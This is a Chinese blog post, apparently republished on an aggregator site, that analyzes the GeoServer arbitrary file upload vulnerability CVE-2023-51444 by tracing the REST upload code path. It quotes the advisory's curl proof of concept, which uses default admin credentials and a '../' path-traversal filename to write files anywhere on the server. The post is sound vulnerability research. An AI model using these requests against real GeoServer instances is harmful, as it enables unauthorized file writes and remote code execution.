GeoServer 任意文件上传漏洞分析研究 CVE-2023-51444

news2024/11/26 23:28:28

目录

前言

漏洞信息

代码审计

漏洞复现


前言

        时隔半月,我又再一次地审起了这个漏洞。第一次看到这个漏洞信息时,尝试复现了一下,结果却很不近人意。从官方公布的漏洞信息来看细节还是太少,poc不是一次就能利用成功的。也是当时心比较急没有静下心来,好好审计一下,胡乱一顿测结果什么都没测出来。这次我又带着代码审计进军来了。

        考虑贴代码不如图片真实,贴图片呢又只是能显示局部.... 所以我决定这样做,第一次调用的时候我会将完整的方法函数贴进来,后面再分析的时候,我就局部截图了。

漏洞信息

参考链接

Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API · CVE-2023-51444 · GitHub Advisory Database · GitHub

[GEOS-11176] Add validation to file wrapper resource paths by sikeoka · Pull Request #7222 · geoserver/geoserver · GitHub

官网漏洞信息说明

Summary

An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details

Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC

Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

官方修补措施,像是修补了../穿越目录的可能 需要留意一下....

 

根据poc信息,定位相关代码

非常有可能是这个处理函数

接下来好好分析一番........

代码审计
@RestController
@ControllerAdvice
@RequestMapping(
        path =
                RestBaseController.ROOT_PATH
                        + "/workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}")
public class CoverageStoreFileController extends AbstractStoreUploadController {
​
    /** Keys every known coverage format by lowercase name */
    protected static final HashMap<String, String> FORMAT_LOOKUP = new HashMap<>();
​
    static {
        for (Format format : CoverageStoreUtils.formats) {
            FORMAT_LOOKUP.put(format.getName().toLowerCase(), format.getName());
        }
    }
​
    @Autowired
    public CoverageStoreFileController(@Qualifier("catalog") Catalog catalog) {
        super(catalog);
    }
​
    @PostMapping
    @ResponseStatus(code = HttpStatus.ACCEPTED)
    public void coverageStorePost(
            @PathVariable String workspaceName,
            @PathVariable String storeName,
            @PathVariable UploadMethod method,
            @PathVariable String format,
            @RequestParam(required = false) String filename,
            @RequestParam(name = "updateBBox", required = false) Boolean updateBBox,
            HttpServletRequest request)
            throws IOException {
​
        if (updateBBox == null) updateBBox = false;
        // check the coverage store exists
        CoverageStoreInfo info = catalog.getCoverageStoreByName(workspaceName, storeName);
        if (info == null) {
            throw new ResourceNotFoundException(
                    "No such coverage store: " + workspaceName + "," + storeName);
        }
​
        GridCoverageReader reader = info.getGridCoverageReader(null, null);
        if (reader instanceof StructuredGridCoverage2DReader) {
            StructuredGridCoverage2DReader sr = (StructuredGridCoverage2DReader) reader;
            if (sr.isReadOnly()) {
                throw new RestException(
                        "Coverage store found, but it cannot harvest extra resources",
                        HttpStatus.METHOD_NOT_ALLOWED);
            }
        } else {
            throw new RestException(
                    "Coverage store found, but it does not support resource harvesting",
                    HttpStatus.METHOD_NOT_ALLOWED);
        }
​
        StructuredGridCoverage2DReader sr = (StructuredGridCoverage2DReader) reader;
        // This method returns a List of the harvested sources.
        final List<Object> harvestedResources = new ArrayList<>();
        if (method == UploadMethod.remote) {
            harvestedResources.add(handleRemoteUrl(request));
​
        } else {
            for (Resource res :
                    doFileUpload(method, workspaceName, storeName, filename, format, request)) {
                harvestedResources.add(Resources.find(res));
            }
        }
        // File Harvesting
        sr.harvest(null, harvestedResources, GeoTools.getDefaultHints());
        if (updateBBox) new MosaicInfoBBoxHandler(catalog).updateNativeBBox(info, sr);
    }

跟入doFileUpload方法

/**
 * Does the file upload based on the specified method.
 *
 * @param method The method, one of 'file.' (inline), 'url.' (via url), or 'external.' (already
 *     on server)
 * @param storeName The name of the store being added
 * @param format The store format.
 */
protected List<Resource> doFileUpload(
        UploadMethod method,
        String workspaceName,
        String storeName,
        String filename,
        String format,
        HttpServletRequest request)
        throws IOException {
    Resource directory = null;

    boolean postRequest =
            request != null && HttpMethod.POST.name().equalsIgnoreCase(request.getMethod());

    // Prepare the directory only in case this is not an external upload
    if (method.isInline()) {
        // Mapping of the input directory
        if (method == UploadMethod.url) {
            // For URL upload method, workspace and StoreName are not considered
            directory = RESTUtils.createUploadRoot(catalog, null, null, postRequest);
        } else {
            directory =
                    RESTUtils.createUploadRoot(catalog, workspaceName, storeName, postRequest);
        }
    }
    return handleFileUpload(
            storeName, workspaceName, filename, method, format, directory, request);
}

跟入handleFileUpload

protected List<Resource> handleFileUpload(
        String store,
        String workspace,
        String filename,
        UploadMethod method,
        String format,
        Resource directory,
        HttpServletRequest request) {

    List<Resource> files = new ArrayList<>();

    Resource uploadedFile;
    boolean external = false;
    try {
        if (method == UploadMethod.file) {
            // we want to delete the previous dir contents only in case of PUT, not
            // in case of POST (harvest, available only for raster data)
            boolean cleanPreviousContents = HttpMethod.PUT.name().equals(request.getMethod());
            if (filename == null) {
                filename = buildUploadedFilename(store, format);
            }
            uploadedFile =
                    RESTUtils.handleBinUpload(
                            filename, directory, cleanPreviousContents, request, workspace);
        } else if (method == UploadMethod.url) {
         ...
 

跟入 RESTUtils.handleBinUpload

/**
 * Reads content from the body of a request and writes it to a file.
 *
 * @param fileName The name of the file to write out.
 * @param directory The directory to write the file to.
 * @param deleteDirectoryContent Delete directory content if the file already exists.
 * @param request The request.
 * @return The file object representing the newly written file.
 * @throws IOException Any I/O errors that occur.
 *     <p>TODO: move this to IOUtils.
 */
public static org.geoserver.platform.resource.Resource handleBinUpload(
        String fileName,
        org.geoserver.platform.resource.Resource directory,
        boolean deleteDirectoryContent,
        HttpServletRequest request,
        String workSpace)
        throws IOException {
    // Creation of a StringBuilder for the selected file
    StringBuilder itemPath = new StringBuilder(fileName);
    // Mediatype associated to the input file
    MediaType mediaType =
            request.getContentType() == null
                    ? null
                    : MediaType.valueOf(request.getContentType());
    // Only zip files are not remapped
    if (mediaType == null || !isZipMediaType(mediaType)) {
        String baseName = FilenameUtils.getBaseName(fileName);
        String itemName = FilenameUtils.getName(fileName);
        // Store parameters used for mapping the file path
        Map<String, String> storeParams = new HashMap<>();
        // Mapping item path
        remapping(workSpace, baseName, itemPath, itemName, storeParams);
    }

    final org.geoserver.platform.resource.Resource newFile = directory.get(itemPath.toString());

    if (Resources.exists(newFile)) {
        if (deleteDirectoryContent) {
            for (Resource file : directory.list()) {
                file.delete();
            }
        } else {
            // delete the file, otherwise replacing it with a smaller one will leave bytes at
            // the end
            newFile.delete();
        }
    }

    try (OutputStream os = newFile.out()) {
        IOUtils.copy(request.getInputStream(), os);
    }
    return newFile;
}
 

根据注释信息,首先是可以向系统写入文件的,

重点关注下参数的传递,重点关注下这两个参数,文件写入嘛!我们重点关注的就是写入路径与写入名称

  • @param fileName The name of the file to write out.

  • @param directory The directory to write the file to.

一,directory 参数由方法doFileUpload 中446行与454行得来

workspaceName与storeName 这个俩为我们控的变量,那么由此得到的directory 将会是什么目录呢?绝对路径?相对路径?再此之前我们可以定义这个路径吗?

这几个问题先保留着...

二,fileName 这个变量是我们直接可控的, 那么这个文件是否能以../../的形式穿越路径呢?

带着疑问我们继续往下分析

分析最关键的地方

en... 我们需要跟进get方法中去看看

Resource是一个接口,所以这里跟进的get方法 是一个实现了接口Resource的类 的get 方法

看到get我们要敏感一下啊,因为修补代码的get就属于ResourceAdaptor类,它是实现了接口Resource了的,所以逻辑上这里是可以跳到ResourceAdaptor类的get方法的。

可以看到resourcePath中间是没有经过任何过滤的,那么这就非常可能进行../../穿越目录的文件写入。

接下来我们重点分析directory的传参,要让它是ResourceAdaptor对象,这样的我们才能调用那个存在漏洞的get方法啊。

还是来到这里

跟入RESTUtils.createUploadRoot

/** Creates a file upload root for the given workspace and store */
public static Resource createUploadRoot(
        Catalog catalog, String workspaceName, String storeName, boolean isPost)
        throws IOException {
    // Check if the Request is a POST request, in order to search for an existing coverage
    Resource directory = null;
    if (isPost && storeName != null) {
        // Check if the coverage already exists
        CoverageStoreInfo coverage = catalog.getCoverageStoreByName(storeName);
        if (coverage != null) {
            if (workspaceName == null
                    || coverage.getWorkspace().getName().equalsIgnoreCase(workspaceName)) {
                // If the coverage exists then the associated directory is defined by its URL
                String url = coverage.getURL();
                String path;
                if (url.startsWith("file:")) {
                    path = URLs.urlToFile(new URL(url)).getPath();
                } else {
                    path = url;
                }
                directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));
            }
        }
    }
    // If the directory has not been found then it is created directly
    if (directory == null) {
        directory =
                catalog.getResourceLoader().get(Paths.path("data", workspaceName, storeName));
    }

    // Selection of the original ROOT directory path
    StringBuilder root = new StringBuilder(directory.path());
    // StoreParams to use for the mapping.
    Map<String, String> storeParams = new HashMap<>();
    // Listing of the available pathMappers
    List<RESTUploadPathMapper> mappers =
            GeoServerExtensions.extensions(RESTUploadPathMapper.class);
    // Mapping of the root directory
    for (RESTUploadPathMapper mapper : mappers) {
        mapper.mapStorePath(root, workspaceName, storeName, storeParams);
    }
    directory = Resources.fromPath(root.toString());
    return directory;
}

共有两处生成directory的地方

Resources.fromPath比较可疑,进入Resources.fromPath分析一下,不行的话再看462行的生成逻辑

/**
 * Creates resource from a path, if the path is relative it will return a resource relative to
 * the provided directory otherwise it will return a file based resource
 *
 * @param path relative or absolute path
 * @param relativeDir directory to which relative paths are relative
 * @return resource
 */
public static org.geoserver.platform.resource.Resource fromPath(
        String path, org.geoserver.platform.resource.Resource relativeDir) {
    File file = new File(path);
    if (file.isAbsolute()) {
        return Files.asResource(file);
    } else {
        return relativeDir.get(path.replace(File.separatorChar, '/'));
    }
}

如果是绝对路径则返回 return Files.asResource(file);

跟进去

/**
 * Adapter allowing a File reference to be quickly used a Resource.
 *
 * <p>This is used as a placeholder when updating code to use resource, while still maintaining
 * deprecated File methods:
 *
 * <pre><code>
 * //deprecated
 * public FileWatcher( File file ){
 *    this.resource = Files.asResource( file );
 * }
 * //deprecated
 * public FileWatcher( Resource resource ){
 *    this.resource = resource;
 * }
 * </code></pre>
 *
 * Note this only an adapter for single files (not directories).
 *
 * @param file File to adapt as a Resource
 * @return resource adaptor for provided file
 */
public static Resource asResource(final File file) {
    if (file == null) {
        throw new IllegalArgumentException("File required");
    }
    return new ResourceAdaptor(file);
}

干的漂亮,就是我们想要的ResourceAdaptor对象

自此 就有了一条上传链,接下来就是调试细节的问题。

要怎么调用方法?,要注入什么参数?,以什么形式注入?,要符合那些要求?包括前面的问题如何修改为绝对目录?

这些都需要解决 都需要慢慢地调试,分析,最终慢慢地形成poc...

漏洞复现

更多详情可以关注我的github. 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1659769.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

工器具管理(基于若依)

文章目录 前言一、工器具管理项目总览 二、入库功能1. 前端1.1 界面展示1.2 具体操作实现1.3 js文件 2. 后端2.1 工器具信息回显2.2 工器具入库 三、领用功能1. 前端1.1 界面展示1.2 具体实现操作1.3 js文件 2. 后端2.1 工器具信息回显2.2 工器具领用 遇到的问题1. 同一页面展示…

2024最新版守约者二级域名分发系统源码,提供全面的二级域名管理服务

主要功能 二级域名管理&#xff1a;我们的系统提供全面的二级域名管理服务&#xff0c;让您轻松管理和配置二级域名。 下 载 地 址 &#xff1a; runruncode.com/php/19756.html 域名分发&#xff1a;利用我们先进的域名分发技术&#xff0c;您可以自动化地分配和管理域名&…

【教程向】从零开始创建浏览器插件(二)深入理解 Chrome 扩展的 manifest.json 配置文件

第二步&#xff1a;深入理解 Chrome 扩展的 manifest.json 配置文件 上一次我们已经着手完成了一个自己的浏览器插件&#xff0c;链接在这里&#xff1a;我是链接 在本篇博客中&#xff0c;我们将更详细地探讨 Chrome 扩展中的 manifest.json 文件。这个文件是每个浏览器扩展…

keep健身小程序源码搭建/部署/上线/运营/售后/更新

基于FastAdminThinkPHPUniApp&#xff08;目前仅支持微信小程序和公众号&#xff09;开发的健身相关行业微信小程序&#xff0c;程序适用于健身房、瑜伽馆、游泳馆、篮球馆等健身培训场所。平台拥有课程售卖、课程预约、多门店管理、私教预约、教练端、会员卡办理、在线商城、分…

超分辨率专题 | 3 种方法、4 个教程、10 个数据集,一文 Get 核心知识点

2010 年 12 月&#xff0c;清华大学电子工程系教授苏光大接到一通不寻常的电话&#xff0c;内蒙古自治区准格尔刑警队的警员拿着一张模糊不清的犯罪嫌疑人人脸图像&#xff0c;向苏光大寻求帮助。 「这张图像是由路边的监控摄像头拍摄的&#xff0c;像素非常低&#xff0c;肉眼…

一文搞懂什么是外贸企业邮箱?

一文搞懂什么是外贸企业邮箱&#xff1f;外贸企业邮箱&#xff0c;也就是外贸行业使用的企业邮箱系统&#xff0c;一般需要具备海外抵达率高、安全稳定等特点&#xff0c;通过外贸企业邮箱&#xff0c;企业可以和国内国外的客户或者同事进行业务的沟通交流。 一、什么是外贸企…

接口自动化框架篇:使用python连接数据库 - PySQL介绍!

PySQL介绍&#xff1a;使用Python连接数据库的接口自动化框架 在接口自动化测试中&#xff0c;经常需要使用数据库来操作测试数据&#xff0c;验证接口返回的数据是否正确。Python是一种功能强大的编程语言&#xff0c;可以轻松地连接数据库&#xff0c;并进行各种数据库操作。…

林更新博士之路星途璀璨再启航

林更新&#xff1a;博士之路&#xff0c;星途璀璨再启航在这个充满机遇与挑战的时代&#xff0c;有一位演员以其出色的演技和不懈的努力&#xff0c;赢得了无数观众的喜爱。他&#xff0c;就是林更新。今日&#xff0c;一条消息如重磅炸弹般在娱乐圈炸开&#xff0c;让无数粉丝…

将AI融入项目开发工作中去吧

目录 1.提高编写开发日报的效率 2.提高编写代码注释的效率 3.提高代码重构的效率 4.编写测试用例及测试报告 5. 协助进行代码走查与工作量分析 在AI元年后&#xff0c;作为一名程序员&#xff0c;相信各位友友已经深切地感受到了它带来的变革。作为一个从小白到资深码农的…

【c++线程】condition_variable的简单使用

尝试用两个线程交替打印1-100的数字&#xff0c;要求一个线程打印奇数&#xff0c;另一个线程打印偶数&#xff0c;并且打印数字从小到大依次递增。 #include <iostream> using namespace std; #include <thread> #include <mutex> #include <condition_…

海外邮件群发工具的使用方法?有哪些限制?

海外邮件群发工具怎么选择&#xff1f;使用邮件群发工具的优势&#xff1f; 海外邮件群发工具成为了企业开展海外推广、联系客户、推广产品和服务的重要工具。但如何有效地使用这一工具&#xff0c;成为了众多营销人员关注的问题。接下来&#xff0c;AokSend将详细探讨海外邮件…

文件批量重命名技巧:文本内容即文件名,打造个性化文件命名新体验

在日常工作和学习中&#xff0c;我们经常需要处理大量的文件&#xff0c;而给这些文件命名则成为了一个既繁琐又重要的任务。传统的文件命名方式&#xff0c;如使用数字、字母或简单的描述性词汇&#xff0c;往往难以体现出文件的实际内容和特点。那么&#xff0c;有没有一种方…

搭建一个vue3+vant4+vite4+pinia 的移动端h5模板

效果图 项目的创建和组件库的安装 项目创建 pnpm create vite vue3-vant4-vite-pinia-pro-h5注意&#xff1a; node版本控制在 18&#xff0c; 可以通过nvm来管理本地的node版本&#xff0c;具体可以看这篇文章 nvm的简单使用 vant-ui库的安装【这里安装的是 ^4.6.0 版本的】…

云南区块链商户平台优化开发

背景 云南区块链商户平台是全省统一区块链服务平台。依托于云南省发改委、阿里云及蚂蚁区块链的国内首个省级区块链平台——云南省区块链平台同步上线&#xff0c;助力数字云南整体升级。 网页版并不适合妈妈那辈人使用&#xff0c;没有记忆功能&#xff0c;于是打算自己开发…

不想让Win系统更新,那就让它暂停一万年

按照下图所示进行操作 winR 输入 regedit&#xff0c;进入注册表编辑器 随后依次点击 HKEY_LOCAL_MACHINE ⬇ SOFTWARE ⬇ Microsoft ⬇ WindowsUpdate ⬇ UX ⬇ Settings 最后在右侧空白处 文件类型 新建DWORD&#xff08;32位&#xff09;值&#xff08;D&#xff09; 命名…

sharding-jdbc如何实现分页查询

写在文章开头 在之前的文章中笔者简单的介绍了sharding-jdbc的使用&#xff0c;而本文从日常使用的角度出发来剖析一下sharding-jdbc底层是如何实现分页查询的。 Hi&#xff0c;我是 sharkChili &#xff0c;是个不断在硬核技术上作死的 java coder &#xff0c;是 CSDN的博客…

私域流量优化:如何利用 AIPL 模型洞察客户生命周期价值

在当今这个数字化时代&#xff0c;商业战场的硝烟从未如此浓烈。随着互联网红利的逐渐消退&#xff0c;公域流量的成本水涨船高&#xff0c;企业间对于有限用户资源的争夺已进入白热化阶段。每一次点击、每一个曝光背后&#xff0c;都是企业不得不承担的高昂代价。在此背景下&a…

1725 ssm资产管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计

一、源码特点 java ssm资产管理系统是一套完善的web设计系统&#xff08;系统采用SSM框架进行设计开发&#xff0c;springspringMVCmybatis&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/…

本安防爆手机在电力行业中的应用

在电力行业这一充满挑战与风险的领域中&#xff0c;安全始终是最为首要的考量。电力巡检、维修等作业往往涉及易燃、易爆环境&#xff0c;这就要求工作人员配备能够在极端条件下保障通讯和作业安全的专业设备。防爆手机应运而生&#xff0c;以其独特的设计和卓越的性能&#xf…

Kafka 执行命令超时异常: Timed out waiting for a node assignment

Kafka 执行命令超时异常&#xff1a; Timed out waiting for a node assignment 问题描述&#xff1a; 搭建了一个kafka集群环境&#xff0c;在使用命令行查看已有topic时&#xff0c;报错如下&#xff1a; [rootlocalhost bin]# kafka-topics.sh --list --bootstrap-server…